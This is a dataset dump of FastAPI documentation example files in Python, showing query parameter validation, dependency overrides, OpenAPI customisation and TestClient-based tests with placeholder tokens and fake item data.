repo
stringlengths
7
90
file_url
stringlengths
81
315
file_path
stringlengths
4
228
content
stringlengths
0
32.8k
language
stringclasses
1 value
license
stringclasses
7 values
commit_sha
stringlengths
40
40
retrieved_at
stringdate
2026-01-04 14:38:15
2026-01-05 02:33:18
truncated
bool
2 classes
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial008_py39.py
docs_src/query_params_str_validations/tutorial008_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Union[str, None] = Query( default=None, title="Query string", description="Query string for the items to search in the database that have a good match", min_length=3, ), ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial007_an_py310.py
docs_src/query_params_str_validations/tutorial007_an_py310.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Annotated[str | None, Query(title="Query string", min_length=3)] = None, ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial003_py310.py
docs_src/query_params_str_validations/tutorial003_py310.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: str | None = Query(default=None, min_length=3, max_length=50)): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial010_an_py39.py
docs_src/query_params_str_validations/tutorial010_an_py39.py
from typing import Annotated, Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Annotated[ Union[str, None], Query( alias="item-query", title="Query string", description="Query string for the items to search in the database that have a good match", min_length=3, max_length=50, pattern="^fixedquery$", deprecated=True, ), ] = None, ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial012_py39.py
docs_src/query_params_str_validations/tutorial012_py39.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: list[str] = Query(default=["foo", "bar"])): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial009_py39.py
docs_src/query_params_str_validations/tutorial009_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Union[str, None] = Query(default=None, alias="item-query")): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial004_py310.py
docs_src/query_params_str_validations/tutorial004_py310.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: str | None = Query( default=None, min_length=3, max_length=50, pattern="^fixedquery$" ), ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial013_py39.py
docs_src/query_params_str_validations/tutorial013_py39.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: list = Query(default=[])): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial006c_an_py310.py
docs_src/query_params_str_validations/tutorial006c_an_py310.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Annotated[str | None, Query(min_length=3)]): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial011_an_py310.py
docs_src/query_params_str_validations/tutorial011_an_py310.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Annotated[list[str] | None, Query()] = None): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/__init__.py
docs_src/query_params_str_validations/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial002_py310.py
docs_src/query_params_str_validations/tutorial002_py310.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: str | None = Query(default=None, max_length=50)): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial011_py39.py
docs_src/query_params_str_validations/tutorial011_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Union[list[str], None] = Query(default=None)): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial015_an_py39.py
docs_src/query_params_str_validations/tutorial015_an_py39.py
import random from typing import Annotated, Union from fastapi import FastAPI from pydantic import AfterValidator app = FastAPI() data = { "isbn-9781529046137": "The Hitchhiker's Guide to the Galaxy", "imdb-tt0371724": "The Hitchhiker's Guide to the Galaxy", "isbn-9781439512982": "Isaac Asimov: The Complete Stories, Vol. 2", } def check_valid_id(id: str): if not id.startswith(("isbn-", "imdb-")): raise ValueError('Invalid ID format, it must start with "isbn-" or "imdb-"') return id @app.get("/items/") async def read_items( id: Annotated[Union[str, None], AfterValidator(check_valid_id)] = None, ): if id: item = data.get(id) else: id, item = random.choice(list(data.items())) return {"id": id, "name": item}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial001_py310.py
docs_src/query_params_str_validations/tutorial001_py310.py
from fastapi import FastAPI app = FastAPI() @app.get("/items/") async def read_items(q: str | None = None): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial004_an_py39.py
docs_src/query_params_str_validations/tutorial004_an_py39.py
from typing import Annotated, Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Annotated[ Union[str, None], Query(min_length=3, max_length=50, pattern="^fixedquery$") ] = None, ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial008_an_py310.py
docs_src/query_params_str_validations/tutorial008_an_py310.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Annotated[ str | None, Query( title="Query string", description="Query string for the items to search in the database that have a good match", min_length=3, ), ] = None, ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial010_an_py310.py
docs_src/query_params_str_validations/tutorial010_an_py310.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Annotated[ str | None, Query( alias="item-query", title="Query string", description="Query string for the items to search in the database that have a good match", min_length=3, max_length=50, pattern="^fixedquery$", deprecated=True, ), ] = None, ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial002_py39.py
docs_src/query_params_str_validations/tutorial002_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Union[str, None] = Query(default=None, max_length=50)): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial015_an_py310.py
docs_src/query_params_str_validations/tutorial015_an_py310.py
import random from typing import Annotated from fastapi import FastAPI from pydantic import AfterValidator app = FastAPI() data = { "isbn-9781529046137": "The Hitchhiker's Guide to the Galaxy", "imdb-tt0371724": "The Hitchhiker's Guide to the Galaxy", "isbn-9781439512982": "Isaac Asimov: The Complete Stories, Vol. 2", } def check_valid_id(id: str): if not id.startswith(("isbn-", "imdb-")): raise ValueError('Invalid ID format, it must start with "isbn-" or "imdb-"') return id @app.get("/items/") async def read_items( id: Annotated[str | None, AfterValidator(check_valid_id)] = None, ): if id: item = data.get(id) else: id, item = random.choice(list(data.items())) return {"id": id, "name": item}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial011_py310.py
docs_src/query_params_str_validations/tutorial011_py310.py
from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: list[str] | None = Query(default=None)): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial011_an_py39.py
docs_src/query_params_str_validations/tutorial011_an_py39.py
from typing import Annotated, Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Annotated[Union[list[str], None], Query()] = None): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial014_py39.py
docs_src/query_params_str_validations/tutorial014_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( hidden_query: Union[str, None] = Query(default=None, include_in_schema=False), ): if hidden_query: return {"hidden_query": hidden_query} else: return {"hidden_query": "Not found"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial003_py39.py
docs_src/query_params_str_validations/tutorial003_py39.py
from typing import Union from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items( q: Union[str, None] = Query(default=None, min_length=3, max_length=50), ): results = {"items": [{"item_id": "Foo"}, {"item_id": "Bar"}]} if q: results.update({"q": q}) return results
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/query_params_str_validations/tutorial012_an_py39.py
docs_src/query_params_str_validations/tutorial012_an_py39.py
from typing import Annotated from fastapi import FastAPI, Query app = FastAPI() @app.get("/items/") async def read_items(q: Annotated[list[str], Query()] = ["foo", "bar"]): query_items = {"q": q} return query_items
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/using_request_directly/tutorial001_py39.py
docs_src/using_request_directly/tutorial001_py39.py
from fastapi import FastAPI, Request app = FastAPI() @app.get("/items/{item_id}") def read_root(item_id: str, request: Request): client_host = request.client.host return {"client_host": client_host, "item_id": item_id}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/using_request_directly/__init__.py
docs_src/using_request_directly/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/openapi_webhooks/tutorial001_py39.py
docs_src/openapi_webhooks/tutorial001_py39.py
from datetime import datetime from fastapi import FastAPI from pydantic import BaseModel app = FastAPI() class Subscription(BaseModel): username: str monthly_fee: float start_date: datetime @app.webhooks.post("new-subscription") def new_subscription(body: Subscription): """ When a new user subscribes to your service we'll send you a POST request with this data to the URL that you register for the event `new-subscription` in the dashboard. """ @app.get("/users/") def read_users(): return ["Rick", "Morty"]
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/openapi_webhooks/__init__.py
docs_src/openapi_webhooks/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/dependency_testing/tutorial001_py39.py
docs_src/dependency_testing/tutorial001_py39.py
from typing import Union from fastapi import Depends, FastAPI from fastapi.testclient import TestClient app = FastAPI() async def common_parameters( q: Union[str, None] = None, skip: int = 0, limit: int = 100 ): return {"q": q, "skip": skip, "limit": limit} @app.get("/items/") async def read_items(commons: dict = Depends(common_parameters)): return {"message": "Hello Items!", "params": commons} @app.get("/users/") async def read_users(commons: dict = Depends(common_parameters)): return {"message": "Hello Users!", "params": commons} client = TestClient(app) async def override_dependency(q: Union[str, None] = None): return {"q": q, "skip": 5, "limit": 10} app.dependency_overrides[common_parameters] = override_dependency def test_override_in_items(): response = client.get("/items/") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": None, "skip": 5, "limit": 10}, } def test_override_in_items_with_q(): response = client.get("/items/?q=foo") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": "foo", "skip": 5, "limit": 10}, } def test_override_in_items_with_params(): response = client.get("/items/?q=foo&skip=100&limit=200") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": "foo", "skip": 5, "limit": 10}, }
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/dependency_testing/tutorial001_an_py39.py
docs_src/dependency_testing/tutorial001_an_py39.py
from typing import Annotated, Union from fastapi import Depends, FastAPI from fastapi.testclient import TestClient app = FastAPI() async def common_parameters( q: Union[str, None] = None, skip: int = 0, limit: int = 100 ): return {"q": q, "skip": skip, "limit": limit} @app.get("/items/") async def read_items(commons: Annotated[dict, Depends(common_parameters)]): return {"message": "Hello Items!", "params": commons} @app.get("/users/") async def read_users(commons: Annotated[dict, Depends(common_parameters)]): return {"message": "Hello Users!", "params": commons} client = TestClient(app) async def override_dependency(q: Union[str, None] = None): return {"q": q, "skip": 5, "limit": 10} app.dependency_overrides[common_parameters] = override_dependency def test_override_in_items(): response = client.get("/items/") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": None, "skip": 5, "limit": 10}, } def test_override_in_items_with_q(): response = client.get("/items/?q=foo") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": "foo", "skip": 5, "limit": 10}, } def test_override_in_items_with_params(): response = client.get("/items/?q=foo&skip=100&limit=200") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": "foo", "skip": 5, "limit": 10}, }
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/dependency_testing/__init__.py
docs_src/dependency_testing/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/dependency_testing/tutorial001_an_py310.py
docs_src/dependency_testing/tutorial001_an_py310.py
from typing import Annotated from fastapi import Depends, FastAPI from fastapi.testclient import TestClient app = FastAPI() async def common_parameters(q: str | None = None, skip: int = 0, limit: int = 100): return {"q": q, "skip": skip, "limit": limit} @app.get("/items/") async def read_items(commons: Annotated[dict, Depends(common_parameters)]): return {"message": "Hello Items!", "params": commons} @app.get("/users/") async def read_users(commons: Annotated[dict, Depends(common_parameters)]): return {"message": "Hello Users!", "params": commons} client = TestClient(app) async def override_dependency(q: str | None = None): return {"q": q, "skip": 5, "limit": 10} app.dependency_overrides[common_parameters] = override_dependency def test_override_in_items(): response = client.get("/items/") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": None, "skip": 5, "limit": 10}, } def test_override_in_items_with_q(): response = client.get("/items/?q=foo") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": "foo", "skip": 5, "limit": 10}, } def test_override_in_items_with_params(): response = client.get("/items/?q=foo&skip=100&limit=200") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": "foo", "skip": 5, "limit": 10}, }
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/dependency_testing/tutorial001_py310.py
docs_src/dependency_testing/tutorial001_py310.py
from fastapi import Depends, FastAPI from fastapi.testclient import TestClient app = FastAPI() async def common_parameters(q: str | None = None, skip: int = 0, limit: int = 100): return {"q": q, "skip": skip, "limit": limit} @app.get("/items/") async def read_items(commons: dict = Depends(common_parameters)): return {"message": "Hello Items!", "params": commons} @app.get("/users/") async def read_users(commons: dict = Depends(common_parameters)): return {"message": "Hello Users!", "params": commons} client = TestClient(app) async def override_dependency(q: str | None = None): return {"q": q, "skip": 5, "limit": 10} app.dependency_overrides[common_parameters] = override_dependency def test_override_in_items(): response = client.get("/items/") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": None, "skip": 5, "limit": 10}, } def test_override_in_items_with_q(): response = client.get("/items/?q=foo") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": "foo", "skip": 5, "limit": 10}, } def test_override_in_items_with_params(): response = client.get("/items/?q=foo&skip=100&limit=200") assert response.status_code == 200 assert response.json() == { "message": "Hello Items!", "params": {"q": "foo", "skip": 5, "limit": 10}, }
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/extending_openapi/tutorial001_py39.py
docs_src/extending_openapi/tutorial001_py39.py
from fastapi import FastAPI from fastapi.openapi.utils import get_openapi app = FastAPI() @app.get("/items/") async def read_items(): return [{"name": "Foo"}] def custom_openapi(): if app.openapi_schema: return app.openapi_schema openapi_schema = get_openapi( title="Custom title", version="2.5.0", summary="This is a very custom OpenAPI schema", description="Here's a longer description of the custom **OpenAPI** schema", routes=app.routes, ) openapi_schema["info"]["x-logo"] = { "url": "https://fastapi.tiangolo.com/img/logo-margin/logo-teal.png" } app.openapi_schema = openapi_schema return app.openapi_schema app.openapi = custom_openapi
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/extending_openapi/__init__.py
docs_src/extending_openapi/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/tutorial004_py39.py
docs_src/app_testing/tutorial004_py39.py
from contextlib import asynccontextmanager from fastapi import FastAPI from fastapi.testclient import TestClient items = {} @asynccontextmanager async def lifespan(app: FastAPI): items["foo"] = {"name": "Fighters"} items["bar"] = {"name": "Tenders"} yield # clean up items items.clear() app = FastAPI(lifespan=lifespan) @app.get("/items/{item_id}") async def read_items(item_id: str): return items[item_id] def test_read_items(): # Before the lifespan starts, "items" is still empty assert items == {} with TestClient(app) as client: # Inside the "with TestClient" block, the lifespan starts and items added assert items == {"foo": {"name": "Fighters"}, "bar": {"name": "Tenders"}} response = client.get("/items/foo") assert response.status_code == 200 assert response.json() == {"name": "Fighters"} # After the requests is done, the items are still there assert items == {"foo": {"name": "Fighters"}, "bar": {"name": "Tenders"}} # The end of the "with TestClient" block simulates terminating the app, so # the lifespan ends and items are cleaned up assert items == {}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/tutorial001_py39.py
docs_src/app_testing/tutorial001_py39.py
from fastapi import FastAPI from fastapi.testclient import TestClient app = FastAPI() @app.get("/") async def read_main(): return {"msg": "Hello World"} client = TestClient(app) def test_read_main(): response = client.get("/") assert response.status_code == 200 assert response.json() == {"msg": "Hello World"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/__init__.py
docs_src/app_testing/__init__.py
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/tutorial002_py39.py
docs_src/app_testing/tutorial002_py39.py
from fastapi import FastAPI from fastapi.testclient import TestClient from fastapi.websockets import WebSocket app = FastAPI() @app.get("/") async def read_main(): return {"msg": "Hello World"} @app.websocket("/ws") async def websocket(websocket: WebSocket): await websocket.accept() await websocket.send_json({"msg": "Hello WebSocket"}) await websocket.close() def test_read_main(): client = TestClient(app) response = client.get("/") assert response.status_code == 200 assert response.json() == {"msg": "Hello World"} def test_websocket(): client = TestClient(app) with client.websocket_connect("/ws") as websocket: data = websocket.receive_json() assert data == {"msg": "Hello WebSocket"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/tutorial003_py39.py
docs_src/app_testing/tutorial003_py39.py
from fastapi import FastAPI from fastapi.testclient import TestClient app = FastAPI() items = {} @app.on_event("startup") async def startup_event(): items["foo"] = {"name": "Fighters"} items["bar"] = {"name": "Tenders"} @app.get("/items/{item_id}") async def read_items(item_id: str): return items[item_id] def test_read_items(): with TestClient(app) as client: response = client.get("/items/foo") assert response.status_code == 200 assert response.json() == {"name": "Fighters"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py39/test_main.py
docs_src/app_testing/app_b_an_py39/test_main.py
from fastapi.testclient import TestClient from .main import app client = TestClient(app) def test_read_item(): response = client.get("/items/foo", headers={"X-Token": "coneofsilence"}) assert response.status_code == 200 assert response.json() == { "id": "foo", "title": "Foo", "description": "There goes my hero", } def test_read_item_bad_token(): response = client.get("/items/foo", headers={"X-Token": "hailhydra"}) assert response.status_code == 400 assert response.json() == {"detail": "Invalid X-Token header"} def test_read_nonexistent_item(): response = client.get("/items/baz", headers={"X-Token": "coneofsilence"}) assert response.status_code == 404 assert response.json() == {"detail": "Item not found"} def test_create_item(): response = client.post( "/items/", headers={"X-Token": "coneofsilence"}, json={"id": "foobar", "title": "Foo Bar", "description": "The Foo Barters"}, ) assert response.status_code == 200 assert response.json() == { "id": "foobar", "title": "Foo Bar", "description": "The Foo Barters", } def test_create_item_bad_token(): response = client.post( "/items/", headers={"X-Token": "hailhydra"}, json={"id": "bazz", "title": "Bazz", "description": "Drop the bazz"}, ) assert response.status_code == 400 assert response.json() == {"detail": "Invalid X-Token header"} def test_create_existing_item(): response = client.post( "/items/", headers={"X-Token": "coneofsilence"}, json={ "id": "foo", "title": "The Foo ID Stealers", "description": "There goes my stealer", }, ) assert response.status_code == 409 assert response.json() == {"detail": "Item already exists"}
python
MIT
f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a
2026-01-04T14:38:15.465144Z
false
fastapi/fastapi
https://github.com/fastapi/fastapi/blob/f2687dc1bb01f4cb62eee90e656b61c38c2aaf6a/docs_src/app_testing/app_b_an_py39/main.py
docs_src/app_testing/app_b_an_py39/main.py
from typing import Annotated, Union from fastapi import FastAPI, Header, HTTPException from pydantic import BaseModel fake_secret_token = "coneofsilence" fake_db = { "foo": {"id": "foo", "title": "Foo", "description": "There goes my hero"}, "bar": {"id": "bar", "title": "Bar", "description": "The bartenders"}, } app = FastAPI() class Item(BaseModel): id: str title: str description: Union[str, None] = None @app.get("/items/{item_id}", response_model=Item) async def read_main(item_id: str, x_token: Annotated[str, Header()]): if x_token != fake_secret_token: raise HTTPException(status_code=400, detail="Invalid X-Token header") if item_id not in fake_db: raise HTTPException(status_code=404, detail="Item not found") return fake_db[item_id] @app.post("/items/", response_model=Item) async def create_item(item: Item, x_token: Annotated[str, Header()]): if x_token != fake_secret_token: raise HTTPException(status_code=400, detail="Invalid X-Token header") if item.id in fake_db: raise HTTPException(status_code=409, detail="Item already exists") fake_db[item.id] = item return item
python
MIT
